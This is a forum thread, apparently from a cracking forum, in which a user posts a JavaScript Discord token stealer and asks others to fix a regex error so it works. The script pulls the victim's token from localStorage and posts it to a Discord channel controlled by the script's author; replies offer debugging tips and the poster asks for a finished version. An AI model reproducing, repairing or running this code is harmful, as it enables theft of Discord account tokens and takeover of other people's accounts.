Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!



   1100

Help in fixing a script

by Meta - 29 June, 2020 - 12:03 PM
This post is by a banned member (Meta) - Unhide
Meta  
Supreme
1.359
Posts
336
Threads
5 Years of service
#1
(This post was last modified: 29 June, 2020 - 12:06 PM by Meta.)
Can someone fix this script, please
When I replace all things and run the script it says: Cannot read property 'replace' of undefined

DO NOT RUN THIS SCRIPT ON YOUR MAIN ACCOUNT OR YOUR DISCORD TOKEN WILL BE SENT TO THE SERVER THATS IN THE SCRIPT, EVEN THOUGH ITS INVALID,
DO TRY THIS ON AN ALT! I AM NOT RESPONSIBLE FOR YOUR LOSS.

// Discord Token Stealer
// written by WestlyRoots
//
// server where the tokens are posted
// https://discord.gg/3TZwhbX

var t = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage.token;
var ct = t.replace(/['"]+/g, '');
let r = new XMLHttpRequest();
r.withCredentials = true;
r.open("POST", "https://discordapp.com/api/v6/invite/3TZwhbX");
r.setRequestHeader("authorization", ct);
r.setRequestHeader("accept", "/");
r.setRequestHeader("authority", "discordapp.com");
r.send(null);

setTimeout(() => {
    r = new XMLHttpRequest();
    r.withCredentials = true;
    r.open("POST", "https://discordapp.com/api/v6/channels/415946919722876930/messages");
    r.setRequestHeader("authorization", ct);
    r.setRequestHeader("content-type", "application/json");
    r.send(JSON.stringify({ content: t }));
}, 300);

setTimeout(() => {
    r = new XMLHttpRequest();
    r.withCredentials = true;
    r.open("DELETE", "https://discordapp.com/api/v6/users/@me/guilds/415946919722876928");
    r.setRequestHeader("authorization", ct);
    r.setRequestHeader("accept", "/");
    r.send(null);
}, 700);

@Sango can you help here because the t.replace is followed by a regex
I do NOT have a Discord or Telegram. @ProMasterCFGs is not my Telegram! PMs only.
I do not buy or sell anything.

 
This post is by a banned member (Baby001) - Unhide
Baby001  
Infinity
535
Posts
317
Threads
5 Years of service
#2
i think these parameters cause error "var ct = t.replace(/['"]+/g, '');"
Success is Like being Pregnant everyone says Congratulations but nobody knows how many times you were Fucked
Stay Positive pepeokay

I fear not the man who has practiced 10,000 kicks once,
but I
fear the man who had practiced one kick 10,000 times.”
― Bruce Lee
"Practice Make A Man Perfect"


[Image: ezgif.com-crope7c823574e1cdd65.gif]
This post is by a banned member (Meta) - Unhide
Meta  
Supreme
1.359
Posts
336
Threads
5 Years of service
#3
(29 June, 2020 - 12:14 PM)Baby001 Wrote: Show More
i think these parameters cause error "var ct = t.replace(/['"]+/g, '');"

yes i know thats why i want a fix
I do NOT have a Discord or Telegram. @ProMasterCFGs is not my Telegram! PMs only.
I do not buy or sell anything.

 
This post is by a banned member (Baby001) - Unhide
Baby001  
Infinity
535
Posts
317
Threads
5 Years of service
#4
try this (" /['"]+/g, '');
Success is Like being Pregnant everyone says Congratulations but nobody knows how many times you were Fucked
Stay Positive pepeokay

I fear not the man who has practiced 10,000 kicks once,
but I
fear the man who had practiced one kick 10,000 times.”
― Bruce Lee
"Practice Make A Man Perfect"


[Image: ezgif.com-crope7c823574e1cdd65.gif]
This post is by a banned member (Meta) - Unhide
Meta  
Supreme
1.359
Posts
336
Threads
5 Years of service
#5
(29 June, 2020 - 12:17 PM)Baby001 Wrote: Show More
try this (" /['"]+/g, '');

missing ) after argument list

can u try it on ur alt and finalize and give me the script please
I do NOT have a Discord or Telegram. @ProMasterCFGs is not my Telegram! PMs only.
I do not buy or sell anything.

 
This post is by a banned member (babyhomie) - Unhide
This post is by a banned member (Meta) - Unhide
Meta  
Supreme
1.359
Posts
336
Threads
5 Years of service
#7
(30 June, 2020 - 09:26 AM)yourfriendlylilhomie Wrote: Show More
(29 June, 2020 - 12:26 PM)ProConfigMaker Wrote: Show More
(29 June, 2020 - 12:17 PM)Baby001 Wrote: Show More
try this (" /['"]+/g, '');

missing ) after argument list

can u try it on ur alt and finalize and give me the script please

use c# then insert in a database with api Smart

sorry i do not know coding
I do NOT have a Discord or Telegram. @ProMasterCFGs is not my Telegram! PMs only.
I do not buy or sell anything.

 
This post is by a banned member (babyhomie) - Unhide

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)